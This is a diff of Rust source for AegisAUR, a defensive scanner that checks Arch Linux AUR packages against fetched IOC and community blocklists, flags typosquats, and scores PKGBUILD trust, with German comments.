source: "atomic_arch_gist".to_string(),
|
||||||
|
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
||||||
|
description: "Atomic Arch Supply Chain Attack".to_string(),
|
||||||
|
confidence: ConfidenceLevel::Critical,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(threats)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn fetch_suspicious_from_aur(&self) -> Result<Vec<IocEntry>> {
|
||||||
|
// AUR RPC API - KEINE Authentifizierung nötig!
|
||||||
|
// Wir suchen nach kürzlich übernommenen orphaned packages
|
||||||
|
|
||||||
|
let mut threats = Vec::new();
|
||||||
|
|
||||||
|
// Query: Letzte 50 Pakete die orphaned waren und jetzt einen neuen Maintainer haben
|
||||||
|
// Dies ist eine Heuristik basierend auf den bekannten Atomic Arch Patterns
|
||||||
|
let recent_changes_url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan";
|
||||||
|
|
||||||
|
// Für MVP: Wir nutzen die statische Liste + Heuristiken
|
||||||
|
// In v0.2 könnte man dynamisch die letzten Änderungen tracken
|
||||||
|
|
||||||
|
Ok(threats)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn fetch_community_blocklist(&self) -> Result<Vec<IocEntry>> {
|
||||||
|
let url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt";
|
||||||
|
|
||||||
|
let response = match self.client.get(url).send().await {
|
||||||
|
Ok(r) => r,
|
||||||
|
Err(_) => {
|
||||||
|
debug!("Community Blocklist nicht erreichbar");
|
||||||
|
return Ok(Vec::new());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if !response.status().is_success() {
|
||||||
|
return Ok(Vec::new());
|
||||||
|
}
|
||||||
|
|
||||||
|
let text = response.text().await?;
|
||||||
|
let mut threats = Vec::new();
|
||||||
|
|
||||||
|
for line in text.lines() {
|
||||||
|
let trimmed = line.trim();
|
||||||
|
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
threats.push(IocEntry {
|
||||||
|
package_name: trimmed.to_string(),
|
||||||
|
threat_type: ThreatType::Unknown("community_reported".to_string()),
|
||||||
|
source: "community_blocklist".to_string(),
|
||||||
|
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
||||||
|
description: "Community-reported suspicious package".to_string(),
|
||||||
|
confidence: ConfidenceLevel::Medium,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(threats)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn save_cache(&self,
|
||||||
|
iocs: &[ IocEntry ]
|
||||||
|
) -> Result<()> {
|
||||||
|
let cache_file = self.cache_dir.join("iocs.json");
|
||||||
|
let json = serde_json::to_string_pretty(iocs)?;
|
||||||
|
fs::write(cache_file, json).await?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prüft ob ein Paketname in den IOCs vorkommt
|
||||||
|
pub fn check_package(&self,
|
||||||
|
package: &str,
|
||||||
|
iocs: &[ IocEntry ]
|
||||||
|
) -> Vec<IocEntry> {
|
||||||
|
iocs.iter()
|
||||||
|
.filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package))
|
||||||
|
.cloned()
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Fuzzy-Match für Typosquatting-Erkennung
|
||||||
|
pub fn check_typosquatting(&self,
|
||||||
|
package: &str,
|
||||||
|
iocs: &[ IocEntry ]
|
||||||
|
) -> Vec<IocEntry> {
|
||||||
|
use sublime_fuzzy::best_match;
|
||||||
|
|
||||||
|
let mut matches = Vec::new();
|
||||||
|
for ioc in iocs {
|
||||||
|
if let Some(m) = best_match(package, &ioc.package_name) {
|
||||||
|
if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() {
|
||||||
|
matches.push(ioc.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
matches
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_cache_creation() {
|
||||||
|
let tmp = tempfile::tempdir().unwrap();
|
||||||
|
let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap();
|
||||||
|
|
||||||
|
let iocs = vec![
|
||||||
|
IocEntry {
|
||||||
|
package_name: "test-pkg".to_string(),
|
||||||
|
threat_type: ThreatType::Backdoor,
|
||||||
|
source: "test".to_string(),
|
||||||
|
discovered_date: "2024-01-01".to_string(),
|
||||||
|
description: "Test".to_string(),
|
||||||
|
confidence: ConfidenceLevel::High,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
fetcher.save_cache(&iocs).await.unwrap();
|
||||||
|
let cached = fetcher.get_cached_iocs().await.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(cached.len(), 1);
|
||||||
|
assert_eq!(cached[0].package_name, "test-pkg");
|
||||||
|
}
|
||||||
|
}
|
||||||
+161
@@ -0,0 +1,161 @@
|
|||||||
|
use anyhow::Result;
|
||||||
|
use clap::{Parser, Subcommand};
|
||||||
|
use colored::*;
|
||||||
|
use tracing::{info, warn, error};
|
||||||
|
|
||||||
|
mod config;
|
||||||
|
mod ioc_fetcher;
|
||||||
|
mod scanner;
|
||||||
|
mod trust_scorer;
|
||||||
|
mod utils;
|
||||||
|
mod hook;
|
||||||
|
|
||||||
|
use scanner::PackageScanner;
|
||||||
|
use config::AegisConfig;
|
||||||
|
|
||||||
|
#[derive(Parser)]
|
||||||
|
#[command(name = "aegisaur")]
|
||||||
|
#[command(about = "👻 Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete")]
|
||||||
|
#[command(version = env!("CARGO_PKG_VERSION"))]
|
||||||
|
struct Cli {
|
||||||
|
#[command(subcommand)]
|
||||||
|
command: Commands,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Subcommand)]
|
||||||
|
enum Commands {
|
||||||
|
/// Scannt ein einzelnes AUR-Paket
|
||||||
|
Scan {
|
||||||
|
/// Paketname
|
||||||
|
package: String,
|
||||||
|
/// Zeigt detaillierte Analyse
|
||||||
|
#[arg(short, long)]
|
||||||
|
verbose: bool,
|
||||||
|
},
|
||||||
|
/// Scannt alle installierten AUR-Pakete
|
||||||
|
ScanAll {
|
||||||
|
/// Zeigt detaillierte Analyse
|
||||||
|
#[arg(short, long)]
|
||||||
|
verbose: bool,
|
||||||
|
},
|
||||||
|
/// Prüft gegen aktuelle IOC-Listen (Atomic Arch, etc.)
|
||||||
|
CheckIoc {
|
||||||
|
/// Spezifische Liste prüfen (atomicarch, all)
|
||||||
|
#[arg(short, long, default_value = "all")]
|
||||||
|
list: String,
|
||||||
|
},
|
||||||
|
/// Fügt Paket zur Whitelist hinzu
|
||||||
|
Allow {
|
||||||
|
/// Paketname
|
||||||
|
package: String,
|
||||||
|
},
|
||||||
|
/// Entfernt Paket von Whitelist
|
||||||
|
Deny {
|
||||||
|
/// Paketname
|
||||||
|
package: String,
|
||||||
|
},
|
||||||
|
/// Zeigt Konfiguration
|
||||||
|
Config,
|
||||||
|
/// Installiert ALPM-Hook
|
||||||
|
InstallHook,
|
||||||
|
/// Entfernt ALPM-Hook
|
||||||
|
RemoveHook,
|
||||||
|
/// Zeigt Cache-Status
|
||||||
|
Cache,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> Result<()> {
|
||||||
|
// Logging initialisieren
|
||||||
|
tracing_subscriber::fmt()
|
||||||
|
.with_env_filter("aegisaur=info")
|
||||||
|
.init();
|
||||||
|
|
||||||
|
let cli = Cli::parse();
|
||||||
|
let config = AegisConfig::load_or_default()?;
|
||||||
|
let scanner = PackageScanner::new(config).await?;
|
||||||
|
|
||||||
|
match cli.command {
|
||||||
|
Commands::Scan { package, verbose } => {
|
||||||
|
println!("{} {}", "🔍 Scanne".cyan(), package.bold());
|
||||||
|
let result = scanner.scan_package(&package, verbose).await?;
|
||||||
|
print_result(&result);
|
||||||
|
}
|
||||||
|
Commands::ScanAll { verbose } => {
|
||||||
|
println!("{}", "🔍 Scanne alle installierten AUR-Pakete...".cyan());
|
||||||
|
let results = scanner.scan_all_installed(verbose).await?;
|
||||||
|
for result in results {
|
||||||
|
print_result(&result);
|
||||||
|
println!();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Commands::CheckIoc { list } => {
|
||||||
|
println!("{} {}", "🛡️ Prüfe IOC-Listen:".cyan(), list.yellow());
|
||||||
|
let threats = scanner.check_iocs(&list).await?;
|
||||||
|
if threats.is_empty() {
|
||||||
|
println!("{}", "✅ Keine Bedrohungen gefunden!".green().bold());
|
||||||
|
} else {
|
||||||
|
println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len());
|
||||||
|
for threat in threats {
|
||||||
|
println!(" {} {} - {}", "🔴".red(), threat.package, threat.reason);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Commands::Allow { package } => {
|
||||||
|
scanner.allow_package(&package)?;
|
||||||
|
println!("{} {}", "✅ Erlaubt:".green(), package);
|
||||||
|
}
|
||||||
|
Commands::Deny { package } => {
|
||||||
|
scanner.deny_package(&package)?;
|
||||||
|
println!("{} {}", "❌ Entfernt:".yellow(), package);
|
||||||
|
}
|
||||||
|
Commands::Config => {
|
||||||
|
println!("{}", "⚙️ AegisAUR Konfiguration".cyan().bold());
|
||||||
|
println!("Config-Path: {}", scanner.config_path()?.display());
|
||||||
|
println!("Cache-Path: {}", scanner.cache_path()?.display());
|
||||||
|
}
|
||||||
|
Commands::InstallHook => {
|
||||||
|
hook::install_alpm_hook()?;
|
||||||
|
println!("{}", "✅ ALPM-Hook installiert".green().bold());
|
||||||
|
}
|
||||||
|
Commands::RemoveHook => {
|
||||||
|
hook::remove_alpm_hook()?;
|
||||||
|
println!("{}", "❌ ALPM-Hook entfernt".yellow().bold());
|
||||||
|
}
|
||||||
|
Commands::Cache => {
|
||||||
|
scanner.show_cache_status().await?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn print_result(result: &scanner::ScanResult) {
|
||||||
|
let score_color = match result.score {
|
||||||
|
0..=30 => "🔴".red(),
|
||||||
|
31..=60 => "🟡".yellow(),
|
||||||
|
61..=100 => "🟢".green(),
|
||||||
|
_ => "⚪".white(),
|
||||||
|
};
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"{} {} {} {} {}",
|
||||||
|
score_color,
|
||||||
|
result.package.bold(),
|
||||||
|
format!("({}/100)", result.score).dimmed(),
|
||||||
|
"-".dimmed(),
|
||||||
|
result.status_message()
|
||||||
|
);
|
||||||
|
|
||||||
|
if !result.warnings.is_empty() {
|
||||||
|
for warning in &result.warnings {
|
||||||
|
println!(" {} {}", "⚠️ ".yellow(), warning);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !result.ioc_matches.is_empty() {
|
||||||
|
for ioc in &result.ioc_matches {
|
||||||
|
println!(" {} {} - {}", "🚨".red().bold(), "IOC MATCH!".red().bold(), ioc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+468
@@ -0,0 +1,468 @@
|
|||||||
|
use anyhow::{Context, Result};
|
||||||
|
use colored::*;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::collections::HashSet;
|
||||||
|
use std::path::{Path, PathBuf};
|
||||||
|
use tokio::fs;
|
||||||
|
use tokio::process::Command;
|
||||||
|
use tracing::{debug, info, warn};
|
||||||
|
|
||||||
|
use crate::config::AegisConfig;
|
||||||
|
use crate::ioc_fetcher::{IocEntry, IocFetcher};
|
||||||
|
use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore};
|
||||||
|
|
||||||
|
/// Ergebnis eines einzelnen Paket-Scans
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct ScanResult {
|
||||||
|
pub package: String,
|
||||||
|
pub version: String,
|
||||||
|
pub score: u32,
|
||||||
|
pub max_score: u32,
|
||||||
|
pub status: ScanStatus,
|
||||||
|
pub warnings: Vec<String>,
|
||||||
|
pub critical_findings: Vec<String>,
|
||||||
|
pub ioc_matches: Vec<String>,
|
||||||
|
pub details: Option<ScanDetails>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct ScanDetails {
|
||||||
|
pub source_url: Option<String>,
|
||||||
|
pub maintainer: Option<String>,
|
||||||
|
pub votes: Option<u32>,
|
||||||
|
pub popularity: Option<f32>,
|
||||||
|
pub last_modified: Option<String>,
|
||||||
|
pub out_of_date: bool,
|
||||||
|
pub is_orphaned: bool,
|
||||||
|
pub pkgbuild_raw: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub enum ScanStatus {
|
||||||
|
Safe, // Score >= 80, keine IOCs
|
||||||
|
Warning, // Score 50-79 oder Warnungen
|
||||||
|
Suspicious, // Score 30-49 oder IOC Match
|
||||||
|
Dangerous, // Score < 30 oder kritischer IOC
|
||||||
|
IOCDetected, // Direkter IOC-Match
|
||||||
|
Unknown, // Konnte nicht analysiert werden
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct PackageScanner {
|
||||||
|
config: AegisConfig,
|
||||||
|
ioc_fetcher: IocFetcher,
|
||||||
|
trust_scorer: TrustScorer,
|
||||||
|
cache_dir: PathBuf,
|
||||||
|
whitelist: HashSet<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PackageScanner {
|
||||||
|
pub async fn new(config: AegisConfig) -> Result<Self> {
|
||||||
|
let cache_dir = dirs::cache_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("/tmp"))
|
||||||
|
.join("aegisaur");
|
||||||
|
|
||||||
|
fs::create_dir_all(&cache_dir).await?;
|
||||||
|
|
||||||
|
let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?;
|
||||||
|
let trust_scorer = TrustScorer::new()?;
|
||||||
|
|
||||||
|
// Whitelist laden
|
||||||
|
let whitelist_path = cache_dir.join("whitelist.json");
|
||||||
|
let whitelist = if whitelist_path.exists() {
|
||||||
|
let content = fs::read_to_string(&whitelist_path).await?;
|
||||||
|
serde_json::from_str(&content).unwrap_or_default()
|
||||||
|
} else {
|
||||||
|
HashSet::new()
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(PackageScanner {
|
||||||
|
config,
|
||||||
|
ioc_fetcher,
|
||||||
|
trust_scorer,
|
||||||
|
cache_dir,
|
||||||
|
whitelist,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Scannt ein einzelnes Paket
|
||||||
|
pub async fn scan_package(
|
||||||
|
&self,
|
||||||
|
package: &str,
|
||||||
|
verbose: bool,
|
||||||
|
) -> Result<ScanResult> {
|
||||||
|
info!("Scanne Paket: {}", package);
|
||||||
|
|
||||||
|
// 1. IOC-Check
|
||||||
|
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
||||||
|
let ioc_matches = self.ioc_fetcher.check_package(package, &iocs);
|
||||||
|
|
||||||
|
// 2. AUR-Info holen
|
||||||
|
let aur_info = self.fetch_aur_info(package).await?;
|
||||||
|
|
||||||
|
// 3. PKGBUILD holen und analysieren (falls verfügbar)
|
||||||
|
let pkgbuild_analysis = if let Some(ref info) = aur_info {
|
||||||
|
if let Some(url) = &info.url_path {
|
||||||
|
match self.fetch_pkgbuild(package, url).await {
|
||||||
|
Ok(content) => {
|
||||||
|
let score = self.trust_scorer.analyze_pkgbuild(
|
||||||
|
&content,
|
||||||
|
info.url.as_deref(),
|
||||||
|
);
|
||||||
|
Some((score, Some(content)))
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
warn!("Konnte PKGBUILD nicht holen: {}", e);
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
|
||||||
|
// 4. Ergebnis zusammenstellen
|
||||||
|
let mut result = if let Some((score, pkgbuild_raw)) = pkgbuild_analysis {
|
||||||
|
let mut warnings: Vec<String> = score.warnings.into_iter().collect();
|
||||||
|
let critical_findings: Vec<String> = score
|
||||||
|
.critical_findings
|
||||||
|
.into_iter()
|
||||||
|
.map(|c| format!("{:?}", c))
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// IOC-Warnungen hinzufügen
|
||||||
|
let ioc_strings: Vec<String> = ioc_matches
|
||||||
|
.iter()
|
||||||
|
.map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence))
|
||||||
|
.collect();
|
||||||
|
warnings.extend(ioc_strings.clone());
|
||||||
|
|
||||||
|
let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty());
|
||||||
|
|
||||||
|
ScanResult {
|
||||||
|
package: package.to_string(),
|
||||||
|
version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(),
|
||||||
|
score: score.overall,
|
||||||
|
max_score: 100,
|
||||||
|
status,
|
||||||
|
warnings,
|
||||||
|
critical_findings,
|
||||||
|
ioc_matches: ioc_strings,
|
||||||
|
details: Some(ScanDetails {
|
||||||
|
source_url: aur_info.as_ref().and_then(|i| i.url.clone()),
|
||||||
|
maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()),
|
||||||
|
votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)),
|
||||||
|
popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)),
|
||||||
|
last_modified: None,
|
||||||
|
out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false),
|
||||||
|
is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true),
|
||||||
|
pkgbuild_raw: if verbose { pkgbuild_raw } else { None },
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Fallback: Installiertes Paket analysieren
|
||||||
|
let installed_info = self.get_installed_info(package).await?;
|
||||||
|
let score = self.trust_scorer.check_installed_package(&installed_info);
|
||||||
|
|
||||||
|
let ioc_strings: Vec<String> = ioc_matches
|
||||||
|
.iter()
|
||||||
|
.map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description))
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
ScanResult {
|
||||||
|
package: package.to_string(),
|
||||||
|
version: self.extract_version(&installed_info).unwrap_or_default(),
|
||||||
|
score: score.overall,
|
||||||
|
max_score: 100,
|
||||||
|
status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false),
|
||||||
|
warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(),
|
||||||
|
critical_findings: vec![],
|
||||||
|
ioc_matches: ioc_strings,
|
||||||
|
details: None,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Scannt alle installierten AUR-Pakete
|
||||||
|
pub async fn scan_all_installed(
|
||||||
|
&self,
|
||||||
|
verbose: bool,
|
||||||
|
) -> Result<Vec<ScanResult>> {
|
||||||
|
info!("Scanne alle installierten AUR-Pakete...");
|
||||||
|
|
||||||
|
let foreign_packages = self.get_foreign_packages().await?;
|
||||||
|
let mut results = Vec::with_capacity(foreign_packages.len());
|
||||||
|
|
||||||
|
for (pkg, _) in foreign_packages {
|
||||||
|
match self.scan_package(&pkg, verbose).await {
|
||||||
|
Ok(result) => {
|
||||||
|
results.push(result);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
warn!("Fehler beim Scannen von {}: {}", pkg, e);
|
||||||
|
results.push(ScanResult {
|
||||||
|
package: pkg,
|
||||||
|
version: String::new(),
|
||||||
|
score: 0,
|
||||||
|
max_score: 100,
|
||||||
|
status: ScanStatus::Unknown,
|
||||||
|
warnings: vec![format!("Scan fehlgeschlagen: {}", e)],
|
||||||
|
critical_findings: vec![],
|
||||||
|
ioc_matches: vec![],
|
||||||
|
details: None,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sortiere nach Score (gefährlichste zuerst)
|
||||||
|
results.sort_by(|a, b| a.score.cmp(&b.score));
|
||||||
|
|
||||||
|
Ok(results)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prüft gegen aktuelle IOC-Listen
|
||||||
|
pub async fn check_iocs(&self, list_type: &str) -> Result<Vec<IocThreat>> {
|
||||||
|
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
||||||
|
let foreign_packages = self.get_foreign_packages().await?;
|
||||||
|
|
||||||
|
let mut threats = Vec::new();
|
||||||
|
|
||||||
|
for (pkg, _) in foreign_packages {
|
||||||
|
let matches = self.ioc_fetcher.check_package(&pkg, &iocs);
|
||||||
|
|
||||||
|
for ioc in matches {
|
||||||
|
threats.push(IocThreat {
|
||||||
|
package: pkg.clone(),
|
||||||
|
threat_type: format!("{:?}", ioc.threat_type),
|
||||||
|
source: ioc.source,
|
||||||
|
confidence: format!("{:?}", ioc.confidence),
|
||||||
|
action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(threats)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn allow_package(&mut self, package: &str) -> Result<()> {
|
||||||
|
self.whitelist.insert(package.to_string());
|
||||||
|
self.save_whitelist()?;
|
||||||
|
info!("{} zur Whitelist hinzugefügt", package);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn deny_package(&mut self, package: &str) -> Result<()> {
|
||||||
|
self.whitelist.remove(package);
|
||||||
|
self.save_whitelist()?;
|
||||||
|
info!("{} von Whitelist entfernt", package);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn config_path(&self) -> Result<PathBuf> {
|
||||||
|
Ok(self.config.config_path.clone())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn cache_path(&self) -> Result<PathBuf> {
|
||||||
|
Ok(self.cache_dir.clone())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn show_cache_status(&self) -> Result<()> {
|
||||||
|
println!("{}", "=== AegisAUR Cache Status ===".cyan().bold());
|
||||||
|
|
||||||
|
let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len();
|
||||||
|
println!("IOC-Einträge im Cache: {}", ioc_count);
|
||||||
|
|
||||||
|
let cache_size = self.calculate_cache_size().await?;
|
||||||
|
println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0);
|
||||||
|
|
||||||
|
println!("Whitelist-Einträge: {}", self.whitelist.len());
|
||||||
|
|
||||||
|
let last_update = self.get_last_cache_update().await?;
|
||||||
|
println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string()));
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Hilfsmethoden ---
|
||||||
|
|
||||||
|
async fn fetch_aur_info(&self, package: &str) -> Result<Option<AurPackageInfo>> {
|
||||||
|
let url = format!(
|
||||||
|
"https://aur.archlinux.org/rpc/v5/info?arg[]={}",
|
||||||
|
package
|
||||||
|
);
|
||||||
|
|
||||||
|
let response = reqwest::get(&url).await?;
|
||||||
|
if !response.status().is_success() {
|
||||||
|
return Ok(None);
|
||||||
|
}
|
||||||
|
|
||||||
|
let rpc_response: AurRpcResponse = response.json().await?;
|
||||||
|
|
||||||
|
if rpc_response.resultcount == 0 || rpc_response.results.is_empty() {
|
||||||
|
return Ok(None);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(Some(rpc_response.results[0].clone()))
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn fetch_pkgbuild(&self, package: &str, url_path: &str) -> Result<String> {
|
||||||
|
let base_url = "https://aur.archlinux.org";
|
||||||
|
let pkgbuild_url = format!("{}/{}/plain/PKGBUILD", base_url, url_path);
|
||||||
|
|
||||||
|
let response = reqwest::get(&pkgbuild_url).await?;
|
||||||
|
if !response.status().is_success() {
|
||||||
|
anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status());
|
||||||
|
}
|
||||||
|
|
||||||
|
response.text().await.context("Konnte PKGBUILD nicht lesen")
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_foreign_packages(&self) -> Result<Vec<(String, String)>> {
|
||||||
|
let output = Command::new("pacman")
|
||||||
|
.args(["-Qm"])
|
||||||
|
.output()
|
||||||
|
.await
|
||||||
|
.context("Konnte pacman nicht ausführen")?;
|
||||||
|
|
||||||
|
if !output.status.success() {
|
||||||
|
anyhow::bail!("pacman -Qm fehlgeschlagen");
|
||||||
|
}
|
||||||
|
|
||||||
|
let stdout = String::from_utf8(output.stdout)?;
|
||||||
|
let mut packages = Vec::new();
|
||||||
|
|
||||||
|
for line in stdout.lines() {
|
||||||
|
let parts: Vec<&str> = line.split_whitespace().collect();
|
||||||
|
if parts.len() >= 2 {
|
||||||
|
packages.push((parts[0].to_string(), parts[1].to_string()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(packages)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_installed_info(&self, package: &str) -> Result<String> {
|
||||||
|
let output = Command::new("pacman")
|
||||||
|
.args(["-Qi", package])
|
||||||
|
.output()
|
||||||
|
.await
|
||||||
|
.context("Konnte pacman nicht ausführen")?;
|
||||||
|
|
||||||
|
Ok(String::from_utf8_lossy(&output.stdout).to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn extract_version(&self, pacman_qi: &str) -> Option<String> {
|
||||||
|
pacman_qi
|
||||||
|
.lines()
|
||||||
|
.find(|l| l.contains("Version"))
|
||||||
|
.and_then(|l| l.split(':').nth(1))
|
||||||
|
.map(|s| s.trim().to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus {
|
||||||
|
if has_ioc {
|
||||||
|
return ScanStatus::IOCDetected;
|
||||||
|
}
|
||||||
|
if has_critical || score < 30 {
|
||||||
|
return ScanStatus::Dangerous;
|
||||||
|
}
|
||||||
|
if score < 50 {
|
||||||
|
return ScanStatus::Suspicious;
|
||||||
|
}
|
||||||
|
if score < 80 {
|
||||||
|
return ScanStatus::Warning;
|
||||||
|
}
|
||||||
|
ScanStatus::Safe
|
||||||
|
}
|
||||||
|
|
||||||
|
fn save_whitelist(&self) -> Result<()> {
|
||||||
|
let whitelist_path = self.cache_dir.join("whitelist.json");
|
||||||
|
let json = serde_json::to_string_pretty(&self.whitelist)?;
|
||||||
|
// Blocking IO für HashSet - in Produktion async machen
|
||||||
|
std::fs::write(whitelist_path, json)?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn calculate_cache_size(&self) -> Result<u64> {
|
||||||
|
let mut total_size = 0u64;
|
||||||
|
|
||||||
|
let mut entries = fs::read_dir(&self.cache_dir).await?;
|
||||||
|
while let Some(entry) = entries.next_entry().await? {
|
||||||
|
let metadata = entry.metadata().await?;
|
||||||
|
if metadata.is_file() {
|
||||||
|
total_size += metadata.len();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(total_size)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_last_cache_update(&self) -> Result<Option<String>> {
|
||||||
|
let cache_file = self.cache_dir.join("iocs.json");
|
||||||
|
if !cache_file.exists() {
|
||||||
|
return Ok(None);
|
||||||
|
}
|
||||||
|
|
||||||
|
let metadata = fs::metadata(cache_file).await?;
|
||||||
|
let modified = metadata.modified()?;
|
||||||
|
let datetime: chrono::DateTime<chrono::Local> = modified.into();
|
||||||
|
|
||||||
|
Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ScanResult {
|
||||||
|
pub fn status_message(&self) -> ColoredString {
|
||||||
|
match self.status {
|
||||||
|
ScanStatus::Safe => "SICHER".green().bold(),
|
||||||
|
ScanStatus::Warning => "WARNUNG".yellow().bold(),
|
||||||
|
ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(),
|
||||||
|
ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(),
|
||||||
|
ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(),
|
||||||
|
ScanStatus::Unknown => "UNBEKANNT".white(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct IocThreat {
|
||||||
|
pub package: String,
|
||||||
|
pub threat_type: String,
|
||||||
|
pub source: String,
|
||||||
|
pub confidence: String,
|
||||||
|
pub action_required: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
// AUR RPC Response Types
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
struct AurRpcResponse {
|
||||||
|
#[serde(rename = "resultcount")]
|
||||||
|
resultcount: u32,
|
||||||
|
results: Vec<AurPackageInfo>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
